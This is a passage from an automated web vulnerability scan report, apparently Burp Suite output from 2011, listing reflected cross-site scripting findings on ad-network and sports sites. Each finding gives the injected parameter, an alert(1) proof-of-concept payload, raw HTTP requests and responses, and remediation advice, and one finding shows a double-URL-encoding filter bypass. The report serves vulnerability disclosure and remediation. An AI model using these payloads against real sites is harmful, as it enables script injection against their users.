ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=969C7D18C17E6CF125DE65C6192D6639; Path=/ Content-Type: text/html Date: Mon, 03 Oct 2011 00:03:21 GMT Connection: close
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5ba4a"-alert(1)-"51d574e77ee was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /rjsi/dc/10625/165711/adi/N5282.161249.ADNETIK.COM/B5256632.283;sz=300x250;pc=[TPAS_ID];click0=http://o-va3.wtp101.com/click?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPgBADpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M%3D5ba4a"-alert(1)-"51d574e77ee&redir=;ord=1576327943? HTTP/1.1 Host: fw.adsafeprotected.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://o-va3.wtp101.com/imp?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M=&prc=AAABMscXh9X2XSOH7kO_fDwCKqa4H0Cvxg-Sdg Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=F645E89D2DE63B512888E6C0840EEADD; Path=/ Content-Type: text/html Date: Mon, 03 Oct 2011 00:03:21 GMT Connection: close
The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload e6ebd%3balert(1)//7662a95d143 was submitted in the jscallback parameter. This input was echoed as e6ebd;alert(1)//7662a95d143 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Cache-Control: private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: VM_USR=""; Domain=.intellitxt.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Content-Type: text/javascript Content-Length: 65 Date: Mon, 03 Oct 2011 00:02:09 GMT Age: 0 Connection: keep-alive
4.65. http://goal.us.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://goal.us.intellitxt.com
Path:
/intellitxt/front.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cf91d'-alert(1)-'82f479773ab was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: VM_USR=""; Domain=.intellitxt.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Cache-Control: private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC" Access-Control-Allow-Origin: * Content-Type: application/x-javascript;charset=iso-8859-1 Vary: Accept-Encoding Content-Length: 11466 Date: Mon, 03 Oct 2011 00:00:59 GMT Age: 0 Connection: keep-alive
The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload ce85d%3balert(1)//92071f6f8b5 was submitted in the jscallback parameter. This input was echoed as ce85d;alert(1)//92071f6f8b5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Cache-Control: private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC" Access-Control-Allow-Origin: * Content-Type: application/x-javascript;charset=iso-8859-1 Vary: Accept-Encoding Content-Length: 7509 Date: Mon, 03 Oct 2011 00:02:54 GMT Age: 0 Connection: keep-alive
var undefined;if(null==$iTXT.glob.dbParams||undefined==$iTXT.glob.dbParams){$iTXT.glob.dbParams=new $iTXT.data.Param(undefined,undefined,undefined,'DATABASE');}$iTXT.glob.dbParams.set({"searchengine.h ...[SNIP]... et('initskip',0);$iTXT.data.Context.params.set('minimagew',180);$iTXT.data.Context.params.set('minimageh',200);$iTXT.data.Context.params.set('intattrs','alt,title,href,src,name');try{$iTXT.js.callback0ce85d;alert(1)//92071f6f8b5({"requiresContextualization":0,"requiresAdverts":1});}catch(e){}
4.67. http://goal.us.intellitxt.com/v4/init [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://goal.us.intellitxt.com
Path:
/v4/init
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 75336"-alert(1)-"a0600fbcc40 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Cache-Control: private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC" Access-Control-Allow-Origin: * Content-Type: application/x-javascript;charset=iso-8859-1 Vary: Accept-Encoding Content-Length: 7490 Date: Mon, 03 Oct 2011 00:03:04 GMT Age: 0 Connection: keep-alive
var undefined;if(null==$iTXT.glob.dbParams||undefined==$iTXT.glob.dbParams){$iTXT.glob.dbParams=new $iTXT.data.Param(undefined,undefined,undefined,'DATABASE');}$iTXT.glob.dbParams.set({"searchengine.h ...[SNIP]... 17560,"jscallback":"$iTXT.js.callback0","reg":"--","refurl":"http://www.goal.com/en/news/9/england/2011/10/01/2691360/anderson-confident-manchester-united-will-keep-unbeaten-run","rcc":"--","cc":"us","75336"-alert(1)-"a0600fbcc40":"1"},null,60);var undefined;if(null==$iTXT.glob.params||undefined==$iTXT.glob.params){$iTXT.glob.params=new $iTXT.data.Param($iTXT.glob.dbgParams,undefined,undefined,'CHANNEL');}$iTXT.glob.params.set ...[SNIP]...
The value of the ccd request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 971ff'-alert(1)-'79037dbfcc8 was submitted in the ccd parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the cnd request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e30d8'-alert(1)-'5040089bc5a was submitted in the cnd parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the referrer request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 67532'-alert(1)-'10502941372 was submitted in the referrer parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the tt_code request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1d69e'-alert(1)-'14515927802 was submitted in the tt_code parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the csid request parameter is copied into the HTML document as plain text between tags. The payload ac054<script>alert(1)</script>48115ead9b3 was submitted in the csid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 195d1"><script>alert(1)</script>213e8a8c6c0 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:41:48 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 369 Content-Type: text/html Set-Cookie: NSC_o1efm_qppm_iuuq=ffffffff09499e0f45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 00:42:48 GMT;path=/;httponly
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae78c"><script>alert(1)</script>e05ce80092f was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:41:51 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 361 Content-Type: text/html Set-Cookie: NSC_o1efm_qppm_iuuq=ffffffff09499e0f45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 00:42:51 GMT;path=/;httponly
4.75. http://network.realmedia.com/RealMedia/ads/adstream_sx.ads/TRACK_Hotwire/retargeting_hotel_results@Bottom3 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa772"><script>alert(1)</script>983e8dd70cf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:41:44 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 371 Content-Type: text/html Set-Cookie: NSC_o1efm_qppm_iuuq=ffffffff09499e0f45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 00:42:44 GMT;path=/;httponly
The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload 52c2f<script>alert(1)</script>3bcae053672 was submitted in the mbox parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload 4e803<script>alert(1)</script>d023063abdc was submitted in the mbox parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload 9f6fa<img%20src%3da%20onerror%3dalert(1)>1c6c15d13c9 was submitted in the mbox parameter. This input was echoed as 9f6fa<img src=a onerror=alert(1)>1c6c15d13c9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of the mboxId request parameter is copied into the HTML document as plain text between tags. The payload e05e0<script>alert(1)</script>93f9fb94bab was submitted in the mboxId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the url request parameter is copied into the HTML document as plain text between tags. The payload 4e09d%253cscript%253ealert%25281%2529%253c%252fscript%253e2c4a6fbea89 was submitted in the url parameter. This input was echoed as 4e09d<script>alert(1)</script>2c4a6fbea89 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the url request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /stats.js?url=http://hublotnation.com/2011/09/23/hublot-watchesa-look-at-the-king-power-dwayne-wade/4e09d%253cscript%253ealert%25281%2529%253c%252fscript%253e2c4a6fbea89&callback=jQuery1505501451776362956_1317600055917&_=1317600061932 HTTP/1.1 Host: otter.topsy.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://hublotnation.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: max-age=5 Content-Type: application/json; charset=utf-8 Expires: Mon, 03 Oct 2011 00:02:23 GMT Last-Modified: Mon, 03 Oct 2011 00:02:18 GMT Server: lighttpd/1.4.26 Content-Length: 648 Date: Mon, 03 Oct 2011 00:02:18 GMT X-Varnish: 1815814625 Age: 0 Via: 1.1 varnish X-Served-By: ps198 X-Cache: MISS X-RateLimit-Limit: 3000 X-RateLimit-Remaining: 2980 X-RateLimit-Reset: 1317625200 Connection: close
The value of the section request parameter is copied into the HTML document as plain text between tags. The payload 7050a<script>alert(1)</script>7aa54aad239 was submitted in the section parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /style/nav_2011.jsp?c_id=%0Adocument.title=1317599336102051;§ion=schedule7050a<script>alert(1)</script>7aa54aad239 HTTP/1.1 Pragma: no-cache Content-Type: application/x-www-form-urlencoded Content-length: 0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: secure.mlb.com Cookie: s_cc=true; stUtil_cookie=1%7C%7C9620647761317598889493; s_sq=%5B%5BB%5D%5D; SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword
Response
HTTP/1.1 200 OK Server: Oracle-iPlanet-Web-Server/7.0 Date: Sun, 02 Oct 2011 23:49:09 GMT Expires: Mon, 03 Oct 2011 01:49:09 GMT Edge-control: max-age=7200 Content-type: text/css;charset=ISO-8859-1 Set-cookie: SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; Domain=.mlb.com; Path=/ Content-Length: 17041
The value of the 183799;201;js;BarclaysPremierLeague;RONMPU/?click request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 21b49"-alert(1)-"89d3efd3f60 was submitted in the 183799;201;js;BarclaysPremierLeague;RONMPU/?click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Set-Cookie: flashtalkingad1="GUID=1370EED173DB5A|f20004352=(s:2-t:13702355)";Path=/;Domain=flashtalking.com;Expires=Tue, 01-Oct-13 23:55:55 GMT Cache-Control: no-cache, no-store Pragma: no-cache P3p: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Sun, 02 Oct 2011 23:55:55 GMT Server: Jetty(6.1.22) Content-Type: text/javascript Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a) Connection: keep-alive Content-Length: 587
var ftGUID_183799="1370EED173DB5A"; var ftConfID_183799="162490"; var ftParams_183799="click=http://adserver.adtech.de/adlink|327|2816969|0|170|AdId=6109710;BnId=113;itime=599458642;nodecode=yes;link=21b49"-alert(1)-"89d3efd3f60&ftx=&fty=&ftadz=&ftscw=&cachebuster=742186.0483009368"; var ftKeyword_183799=""; var ftSegment_183799=""; var ftSegmentList_183799=[]; var ftRuleMatch_183799="0";
The value of the cachebuster request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 63a0b"-alert(1)-"b1662c828f2 was submitted in the cachebuster parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:56:27 GMT Server: Jetty(6.1.22) Set-Cookie: flashtalkingad1="GUID=1370EED173DB5A|f20004352=(s:2-t:13702355)";Path=/;Domain=flashtalking.com;Expires=Tue, 01-Oct-13 23:56:27 GMT Cache-Control: no-cache, no-store Content-Length: 587 content-type: text/javascript P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" pragma: no-cache Via: 1.1 sjc005204 (MII-APC/2.1)
var ftGUID_183799="1370EED173DB5A"; var ftConfID_183799="162490"; var ftParams_183799="click=http://adserver.adtech.de/adlink|327|2816969|0|170|AdId=6109710;BnId=113;itime=599458642;nodecode=yes;link=&ftx=&fty=&ftadz=&ftscw=&cachebuster=742186.048300936863a0b"-alert(1)-"b1662c828f2"; var ftKeyword_183799=""; var ftSegment_183799=""; var ftSegmentList_183799=[]; var ftRuleMatch_183799="0";
The value of the ftadz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a0aa0"-alert(1)-"1be41f544a2 was submitted in the ftadz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:56:15 GMT Server: Jetty(6.1.22) Set-Cookie: flashtalkingad1="GUID=1370EED173DB5A|f20004352=(s:2-t:13702355)";Path=/;Domain=flashtalking.com;Expires=Tue, 01-Oct-13 23:56:15 GMT Cache-Control: no-cache, no-store Content-Length: 587 pragma: no-cache content-type: text/javascript P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Via: 1.1 sjc005204 (MII-APC/2.1)
var ftGUID_183799="1370EED173DB5A"; var ftConfID_183799="162490"; var ftParams_183799="click=http://adserver.adtech.de/adlink|327|2816969|0|170|AdId=6109710;BnId=113;itime=599458642;nodecode=yes;link=&ftx=&fty=&ftadz=a0aa0"-alert(1)-"1be41f544a2&ftscw=&cachebuster=742186.0483009368"; var ftKeyword_183799=""; var ftSegment_183799=""; var ftSegmentList_183799=[]; var ftRuleMatch_183799="0";
The value of the ftscw request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3d94e"-alert(1)-"28a61fe6ab9 was submitted in the ftscw parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:56:21 GMT Server: Jetty(6.1.22) Set-Cookie: flashtalkingad1="GUID=1370EED173DB5A|f20004352=(s:2-t:13702355)";Path=/;Domain=flashtalking.com;Expires=Tue, 01-Oct-13 23:56:21 GMT Cache-Control: no-cache, no-store pragma: no-cache Content-Type: text/javascript Content-Length: 587 P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Via: 1.1 sjc005204 (MII-APC/2.1)
var ftGUID_183799="1370EED173DB5A"; var ftConfID_183799="162490"; var ftParams_183799="click=http://adserver.adtech.de/adlink|327|2816969|0|170|AdId=6109710;BnId=113;itime=599458642;nodecode=yes;link=&ftx=&fty=&ftadz=&ftscw=3d94e"-alert(1)-"28a61fe6ab9&cachebuster=742186.0483009368"; var ftKeyword_183799=""; var ftSegment_183799=""; var ftSegmentList_183799=[]; var ftRuleMatch_183799="0";
The value of the ftx request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 840ca"-alert(1)-"66aa2a01380 was submitted in the ftx parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:56:02 GMT Server: Jetty(6.1.22) Set-Cookie: flashtalkingad1="GUID=1370EED173DB5A|f20004352=(s:2-t:13702355)";Path=/;Domain=flashtalking.com;Expires=Tue, 01-Oct-13 23:56:02 GMT Cache-Control: no-cache, no-store pragma: no-cache Content-Type: text/javascript Content-Length: 587 P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Via: 1.1 sjc005202 (MII-APC/2.1)
var ftGUID_183799="1370EED173DB5A"; var ftConfID_183799="162490"; var ftParams_183799="click=http://adserver.adtech.de/adlink|327|2816969|0|170|AdId=6109710;BnId=113;itime=599458642;nodecode=yes;link=&ftx=840ca"-alert(1)-"66aa2a01380&fty=&ftadz=&ftscw=&cachebuster=742186.0483009368"; var ftKeyword_183799=""; var ftSegment_183799=""; var ftSegmentList_183799=[]; var ftRuleMatch_183799="0";
The value of the fty request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4c09f"-alert(1)-"66ba1909e6e was submitted in the fty parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:56:08 GMT Server: Jetty(6.1.22) Set-Cookie: flashtalkingad1="GUID=1370EED173DB5A|f20004352=(s:2-t:13702355)";Path=/;Domain=flashtalking.com;Expires=Tue, 01-Oct-13 23:56:08 GMT Cache-Control: no-cache, no-store Content-Length: 587 content-type: text/javascript P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" pragma: no-cache Via: 1.1 sjc005203 (MII-APC/2.1)
var ftGUID_183799="1370EED173DB5A"; var ftConfID_183799="162490"; var ftParams_183799="click=http://adserver.adtech.de/adlink|327|2816969|0|170|AdId=6109710;BnId=113;itime=599458642;nodecode=yes;link=&ftx=&fty=4c09f"-alert(1)-"66ba1909e6e&ftadz=&ftscw=&cachebuster=742186.0483009368"; var ftKeyword_183799=""; var ftSegment_183799=""; var ftSegmentList_183799=[]; var ftRuleMatch_183799="0";
4.88. http://servedby.flashtalking.com/imp/1/16628 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://servedby.flashtalking.com
Path:
/imp/1/16628
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b3805"-alert(1)-"6ebdb2ef636 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:56:37 GMT Server: Jetty(6.1.22) Set-Cookie: flashtalkingad1="GUID=13704C17CA7D33|f20004352=(s:2-t:13702356)";Path=/;Domain=flashtalking.com;Expires=Tue, 01-Oct-13 23:56:37 GMT Cache-Control: no-cache, no-store pragma: no-cache Content-Type: text/javascript Content-Length: 590 P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Via: 1.1 sjc005202 (MII-APC/2.1)
var ftGUID_183799="13704C17CA7D33"; var ftConfID_183799="162490"; var ftParams_183799="click=http://adserver.adtech.de/adlink|327|2816969|0|170|AdId=6109710;BnId=113;itime=599458642;nodecode=yes;link=&ftx=&fty=&ftadz=&ftscw=&cachebuster=742186.0483009368&b3805"-alert(1)-"6ebdb2ef636=1"; var ftKeyword_183799=""; var ftSegment_183799=""; var ftSegmentList_183799=[]; var ftRuleMatch_183799="0";
The value of the frameName request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c87d8'-alert(1)-'4a69ed925e5 was submitted in the frameName parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the pageURL request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload af1e4'-alert(1)-'5f597972d07 was submitted in the pageURL parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the ranreq request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bd260'-alert(1)-'54ab733c75f was submitted in the ranreq parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
